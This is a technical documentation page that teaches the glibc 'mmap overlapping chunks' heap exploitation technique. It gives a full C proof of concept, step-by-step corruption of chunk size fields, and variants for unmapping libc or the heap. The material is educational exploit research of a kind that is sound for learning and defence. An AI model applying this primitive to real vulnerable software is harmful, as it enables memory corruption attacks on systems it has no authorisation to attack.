Skip to main content

Overview

Mmap overlapping chunks is a variation of the overlapping chunks technique that targets large, mmap-allocated chunks instead of regular heap chunks. Unlike the traditional overlapping chunks attack (patched in glibc 2.29), this technique still works on all glibc versions including the latest releases.
Written by Maxwell Dulin (Strikeout)This technique works on all versions of glibc and targets the special behavior of mmap-allocated chunks.

Glibc Version Compatibility

Working Versions

All glibc versions (2.23 - 2.41+)

Status

Still working in modern glibc!

What Does This Technique Achieve?

Mmap overlapping chunks allows you to:
  • Overlap mmap regions - create aliased memory mappings
  • Bypass heap protections - operates outside normal heap bins
  • Munmap libraries - free system libraries or other mmap regions
  • Read/write through aliasing - access same memory through multiple pointers
Unlike regular heap chunks, accessing munmapped memory will crash the program. You must reallocate the region before use.

Mmap Chunks Primer

What Are Mmap Chunks?

In glibc, very large allocations (typically > 128KB) are handled differently:
  • Regular heap: Uses brk() system call, managed in bins
  • Mmap chunks: Uses mmap() system call, allocated in separate memory regions
The threshold is controlled by mmap_threshold (default: 128KB, max: 512KB on 32-bit, larger on 64-bit).

Mmap Chunk Structure

struct mmap_chunk {
    size_t prev_size;  // Leftover space from mmap allocation
    size_t size;       // Chunk size with IS_MMAPPED bit set
    char data[];       // User data
};
Key differences from regular chunks:
  • Size bit 1 (IS_MMAPPED) is set
  • No fd/bk pointers - mmap chunks don’t go into bins
  • Page aligned - must be aligned to page boundaries
  • Direct munmap - freed by calling munmap() directly

Memory Layout with Mmap

High Address
+------------------------+
| First mmap chunk       |  ← Above libc
+------------------------+
| ld.so                  |
+------------------------+
| ...                    |
+------------------------+
| libc.so                |
+------------------------+
| Second mmap chunk      |  ← Below libc
+------------------------+
| Third mmap chunk       |  ← Below second
+------------------------+
| ...                    |
+------------------------+
| Regular heap           |
+------------------------+
| Program code           |
Low Address
The first mmap chunk goes above libc, but subsequent allocations go below libc in descending addresses.

The Vulnerability

This attack requires:
  1. Heap overflow or UAF - ability to corrupt mmap chunk size/prev_size
  2. Three large allocations - to set up the overlap scenario
  3. Free the corrupted chunk - trigger munmap with wrong size

Technical Details

Munmap with Corrupted Size

When freeing an mmap chunk:
// From glibc malloc.c
static void munmap_chunk(mchunkptr p) {
    INTERNAL_SIZE_T size = chunksize(p);
    size_t page_mask = GLRO(dl_pagesize) - 1;
    
    // Calculate region to unmap
    char *base = (char*)p - p->prev_size;
    size_t len = (size + p->prev_size + page_mask) & ~page_mask;
    
    munmap(base, len);  // ← Unmap with corrupted size!
}
By increasing the size field, we can make munmap() free more memory than was originally allocated, including adjacent mmap chunks!

Size Requirements

For the attack:
  • Original size: Size of the allocated chunk
  • Corrupted size: Original size + size of overlapping chunk
  • Both sizes must have the IS_MMAPPED bit (0x2) set

Step-by-Step Exploitation

1

Allocate Large Chunks

Create three mmap chunks:
malloc(0x10);  // Small chunk to establish heap

// Allocate three mmap chunks (> 128KB each)
long long* top_ptr = malloc(0x100000);       // First (above libc)
long long* mmap_chunk_2 = malloc(0x100000);  // Second (below libc)
long long* mmap_chunk_3 = malloc(0x100000);  // Third (below second)
The first chunk goes above libc, but chunks 2 and 3 are adjacent in memory below libc.
2

Examine Chunk Metadata

Check the original size field:
printf("Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
// Output: 0x100002 (size with IS_MMAPPED bit set)
The size field format:
  • Bit 0: PREV_INUSE
  • Bit 1: IS_MMAPPED (always 1 for mmap chunks)
  • Bit 2: NON_MAIN_ARENA
  • Remaining bits: actual size
3

Corrupt Size Field

Increase the size to include the adjacent chunk:
//------------VULNERABILITY-----------
// Get sizes with IS_MMAPPED bit preserved (& ~0x3 clears lower 2 bits)
size_t chunk3_size = mmap_chunk_3[-1] & 0xFFFFFFFFFD;
size_t chunk2_size = mmap_chunk_2[-1] & 0xFFFFFFFFFD;

// Combine sizes and restore IS_MMAPPED bit
mmap_chunk_3[-1] = (chunk3_size + chunk2_size) | 2;
//------------------------------------
You can also corrupt prev_size instead of size to achieve similar results.
4

Free to Trigger Munmap

Free the corrupted chunk:
free(mmap_chunk_3);
// This munmaps BOTH chunk 3 AND chunk 2!
Now both mmap_chunk_2 and mmap_chunk_3 point to unmapped memory. Accessing them will crash:
// This would crash:
// mmap_chunk_2[0] = 0xdeadbeef;
5

Reallocate Overlapping Region

Allocate a larger chunk to reclaim the freed region:
// Must be larger than mmap_threshold (which increased!)
long long* overlapping_chunk = malloc(0x300000);

// Calculate overlap
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance: 0x%x\n", distance);
After freeing an mmap chunk, mmap_threshold increases to the size of the freed chunk. Your next allocation must be larger than this threshold to get an mmap chunk.
6

Exploit the Overlap

Use the overlap to write through both pointers:
// Write through overlapping_chunk
overlapping_chunk[distance] = 0x1122334455667788;

// Read through mmap_chunk_2
printf("mmap_chunk_2[0]: 0x%llx\n", mmap_chunk_2[0]);
// Output: 0x1122334455667788

Full Source Code

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by Maxwell Dulin (Strikeout) 
*/
int main()
{
	/*
	A primer on Mmap chunks in GLibC
	==================================
	In GLibC, there is a point where an allocation is so large that malloc
	decides that we need a seperate section of memory for it, instead 
	of allocating it on the normal heap. This is determined by the mmap_threshold var.
	Instead of the normal logic for getting a chunk, the system call *Mmap* is 
	used. This allocates a section of virtual memory and gives it back to the user. 

	Similarly, the freeing process is going to be different. Instead 
	of a free chunk being given back to a bin or to the rest of the heap,
	another syscall is used: *Munmap*. This takes in a pointer of a previously 
	allocated Mmap chunk and releases it back to the kernel. 

	Mmap chunks have special bit set on the size metadata: the second bit. If this 
	bit is set, then the chunk was allocated as an Mmap chunk. 

	Mmap chunks have a prev_size and a size. The *size* represents the current 
	size of the chunk. The *prev_size* of a chunk represents the left over space
	from the size of the Mmap chunk (not the chunks directly belows size). 
	However, the fd and bk pointers are not used, as Mmap chunks do not go back 
	into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of 
	the chunk must be page-aligned.

	The POC below is essentially an overlapping chunk attack but on mmap chunks. 
	This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. 
	The main difference is that mmapped chunks have special properties and are 
	handled in different ways, creating different attack scenarios than normal 
	overlapping chunk attacks. There are other things that can be done, 
	such as munmapping system libraries, the heap itself and other things.
	This is meant to be a simple proof of concept to demonstrate the general 
	way to perform an attack on an mmap chunk.

	For more information on mmap chunks in GLibC, read this post: 
	http://tukan.farm/2016/07/27/munmap-madness/
	*/

	int* ptr1 = malloc(0x10); 

	printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
	printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
	printf("of memory, instead of being put onto the normal heap.\n");
	puts("=======================================================\n");
	printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
		
	long long* top_ptr = malloc(0x100000);
	printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

	// After this, all chunks are allocated downwards in memory towards the heap.
	long long* mmap_chunk_2 = malloc(0x100000);
	printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

	long long* mmap_chunk_3 = malloc(0x100000);
	printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

	printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
	
	printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
	printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

	printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");	
	printf("This will cause both chunks to be Munmapped and given back to the system\n");
	printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

	// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
	// Additionally, this same attack can be used with the prev_size instead of the size.
	mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
	printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
	printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

	/*
	This next call to free is actually just going to call munmap on the pointer we are passing it.
	The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

	With normal frees the data is still writable and readable (which creates a use after free on 
	the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
	data is read or written to, the program crashes.
	
	Because of this added restriction, the main goal is to get the memory back from the system
	to have two pointers assigned to the same location.
	*/
	// Munmaps both the second and third pointers
	free(mmap_chunk_3); 

	/* 
	Would crash, if on the following:
	mmap_chunk_2[0] = 0xdeadbeef;
	This is because the memory would not be allocated to the current program.
	*/

	/*
	Allocate a very large chunk with malloc. This needs to be larger than 
	the previously freed chunk because the mmapthreshold has increased to 0x202000.
	If the allocation is not larger than the size of the largest freed mmap 
	chunk then the allocation will happen in the normal section of heap memory.
	*/	
	printf("Get a very large chunk from malloc to get mmapped chunk\n");
	printf("This should overlap over the previously munmapped/freed chunks\n");
	long long* overlapping_chunk = malloc(0x300000);
	printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
	printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

	// Gets the distance between the two pointers.
	int distance = mmap_chunk_2 - overlapping_chunk;
	printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
	printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
	
	// Set the value of the overlapped chunk.
	printf("Setting the value of the overlapped chunk\n");
	overlapping_chunk[distance] = 0x1122334455667788;

	// Show that the pointer has been written to.
	printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
	printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
	printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
	assert(mmap_chunk_2[0] == overlapping_chunk[distance]);

	_exit(0); // exit early just in case we corrupted some libraries
}

Advanced Attack Scenarios

1. Munmapping System Libraries

You can use this technique to unmap libc or other system libraries, causing the program to crash on any libc function call.
// Corrupt chunk size to include libc region
mmap_chunk[-1] = huge_size_covering_libc | 2;
free(mmap_chunk);
// libc is now unmapped!

2. Munmapping the Heap

// Calculate size to cover heap region
mmap_chunk[-1] = size_to_heap | 2;
free(mmap_chunk);
// Regular heap is now unmapped!

3. Information Disclosure

// Reallocate overlapping region
char *overlap = malloc(0x300000);

// Read data from previously allocated mmap chunks
for (int i = 0; i < distance; i++) {
    if (overlap[i] != 0) {
        printf("Found data at offset %d\n", i);
    }
}

The Mmap Threshold

Key Concept: After freeing an mmap chunk, mmap_threshold is updated to the size of the freed chunk.
This affects future allocations:
free(chunk_of_size_N);
// Now mmap_threshold = N

// To get another mmap chunk:
malloc(N + 1);  // Must be larger than threshold

// Regular heap allocation:
malloc(N - 1);  // Smaller than threshold

Why This Still Works

Unlike regular overlapping chunks (patched in 2.29), mmap overlapping chunks remain unpatched because:
  1. No bin management - mmap chunks don’t go through unsorted bin checks
  2. Direct syscalls - munmap() is called directly without validation
  3. Performance - adding checks would slow down all large allocations
  4. Less common - fewer programs use extremely large allocations

Debugging Tips

Checking if Chunk is Mmapped

#define IS_MMAPPED 0x2

if (chunk[-1] & IS_MMAPPED) {
    printf("Chunk is mmapped\n");
}

Finding Mmap Chunks in GDB

# In GDB
info proc mappings

# Look for large anonymous mappings
# 0x7ffff7000000 - 0x7ffff7100000  (1MB)

Calculating Distance

ptrdiff_t distance = (char*)chunk2 - (char*)chunk1;
printf("Distance: 0x%lx bytes\n", distance);

Exploitation Checklist

1

Verify mmap allocation

Ensure chunks are large enough (> 128KB)
2

Identify adjacent chunks

Find two mmap chunks that are adjacent in memory
3

Calculate combined size

Properly combine sizes while preserving IS_MMAPPED bit
4

Corrupt and free

Trigger munmap with corrupted size
5

Reallocate larger

Allocate chunk bigger than new mmap_threshold
6

Exploit overlap

Use aliased pointers for your attack
  • Overlapping Chunks - Regular heap variant (patched)
  • [House of Force/techniques/house/house-of-force) - Another top chunk manipulation

References

Build docs developers (and LLMs) love